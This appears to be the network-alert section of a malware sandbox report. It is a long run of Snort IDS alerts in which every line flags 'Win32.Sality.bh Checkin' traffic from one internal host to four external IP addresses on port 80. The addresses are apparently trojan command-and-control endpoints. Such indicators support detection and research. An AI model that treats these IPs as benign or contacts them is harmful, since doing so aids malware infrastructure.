Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49734 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49735 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49736 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49737 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49738 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49739 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49740 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49741 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49742 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49743 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49744 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49745 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49746 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49747 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49748 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49749 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49750 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49751 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49752 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49753 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49756 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49757 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49759 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49760 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49761 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49764 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49765 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49767 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49768 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49769 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49770 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49771 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49772 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49773 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49774 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49775 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49776 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49777 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49778 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49779 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49780 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49782 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49783 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49784 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49785 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49786 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49787 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49788 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49789 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49790 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49791 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49792 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49794 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49795 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49796 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49797 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49798 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49799 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49800 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49801 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49802 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49803 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49804 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49805 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49806 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49807 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49808 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49809 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49810 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49811 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49812 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49813 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49814 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49815 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49816 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49817 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49818 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49819 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49820 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49821 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49822 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49823 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49824 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49825 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49826 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49827 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49828 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49829 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49830 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49831 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49832 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49833 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49835 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49836 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49837 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49838 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49839 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49841 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49842 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49843 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49844 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49845 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49847 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49848 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49849 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49850 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49851 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49853 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49854 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49855 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49856 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49857 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49859 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49860 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49861 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49862 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49863 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49865 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49866 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49867 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49868 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49869 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49871 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49872 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49873 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49874 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49875 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49877 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49878 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49879 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49880 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49881 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49883 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49884 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49885 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49886 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49887 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49889 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49890 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49891 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49892 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49893 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49895 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49896 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49897 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49898 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49899 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49901 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49902 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49903 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49904 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49905 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49907 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49908 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49909 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49910 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49911 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49913 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49914 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49915 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49916 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49917 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49919 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49920 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49921 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49922 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49923 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49925 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49926 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49927 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49928 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49929 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49931 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49932 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49933 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49934 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49935 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49937 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49938 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49939 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49940 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49941 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49943 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49944 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49945 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49946 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49947 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49949 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49950 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49951 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49952 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49953 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49955 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49956 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49957 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49958 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49959 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49961 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49962 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49963 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49964 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49965 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49967 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49968 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49969 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49970 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49971 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49973 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49974 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49975 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49976 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49977 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49979 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49980 -> 44.221.84.105:80
